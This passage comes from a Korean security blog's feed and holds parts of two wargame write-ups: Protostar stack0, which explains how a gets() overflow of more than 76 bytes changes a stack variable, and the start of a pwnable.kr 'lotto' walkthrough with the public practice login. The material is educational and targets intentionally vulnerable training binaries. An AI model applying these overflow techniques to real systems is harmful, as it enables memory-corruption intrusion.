14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;modified&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;gets(buffer);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;modified != 0 이면 즉, modified가 변경되면 &quot;you have changed the 'modified' variable\n&quot;을 출력하고&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;modified ==0 이면 즉, modified가 변경되지 않으면 &quot;Try again?\n&quot;을 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(modified&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;you&amp;nbsp;have&amp;nbsp;changed&amp;nbsp;the&amp;nbsp;'modified'&amp;nbsp;variable\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Try&amp;nbsp;again?\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;소스 분석을 끝냈으니 실행 과정을 확인하기 위해 아래와 같이 입력하면 overflow가 발생하는 것을 알 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 965px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B332405C301D5B11&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B332405C301D5B11&quot; width=&quot;965&quot; height=&quot;186&quot; filename=&quot;이미지 004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;처음 실행은 간단히 test를 위해 4byte를 입력하였고, 두 번째 실행은 A를 약100번 입력하였더니 원하는 문자열을 만날 수 있었다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;정확히 분석해보기 위해 gdb를 통해 stack0를 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 965px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E1D13F5C301DB913&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E1D13F5C301DB913&quot; width=&quot;965&quot; height=&quot;550&quot; filename=&quot;이미지 005.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 통해 stack의 구조를 그려보면 아래와 같이 그릴 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;실제 우리가 변수를 할당하더라도 컴파일러는 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;stack에 접근하기 위한 최적화를 위해 dummy를 추가로 삽입&lt;/span&gt;할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 649px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99363C345C329FC036&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99363C345C329FC036&quot; width=&quot;649&quot; height=&quot;1036&quot; filename=&quot;이미지 017.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;즉, modified를 변경시키기 위해 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;최소 76바이트를 초과해서 입력&lt;/span&gt;해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 959px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C46B3E5C30218E15&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C46B3E5C30218E15&quot; width=&quot;959&quot; height=&quot;133&quot; filename=&quot;이미지 007.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;완료!!!&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/Protostar</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/236</guid>
      <comments>https://marcokhan.tistory.com/236#entry236comment</comments>
      <pubDate>Sat, 5 Jan 2019 11:58:06 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr] lotto 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/235</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;pwnable.kr --- lotto&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ssh lotto@pwnable.kr 2222 (pw:guest)&lt;/span&gt;로 접속하면 lotto 문제를 만날 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속하려면&amp;nbsp;ssh lotto@pwnable.kr -p2222 (pw:guest)로 접속해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 현재 디렉터리에 어떤 파일이 존재하는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 806px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993C833B5C24738D08&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993C833B5C24738D08&quot; width=&quot;806&quot; height=&quot;102&quot; filename=&quot;이미지 033.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 공격해야할 대상인 lotto와 lotto elf 파일을 만들었을 source로 예상되는 lotto.c와 flag가 존재한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;flag는 현재 id(lotto)의 권한으로는 볼 수 없고, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;lotto elf 파일은 lotto_pwn의 권한으로 setuid가 설정&lt;/span&gt;되어있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;o&lt;/span&gt;tto elf를 실행함으로써, setuid를 얻고 flag를 볼 수 있을것으로 예상&lt;/span&gt;된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;lotto.c 파일을 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;25&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;27&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;29&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;30&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;31&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;33&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;34&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;35&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;36&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;37&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;38&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;39&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;41&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;42&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;43&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;44&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;45&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;46&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;47&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;48&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;49&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;50&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;51&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;52&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;53&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;54&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;55&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;56&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;57&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;58&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;59&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;60&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;61&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;62&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;63&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;65&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;66&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;67&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;68&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;69&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;70&lt;/span&gt;&lt;/div&gt;&lt;div 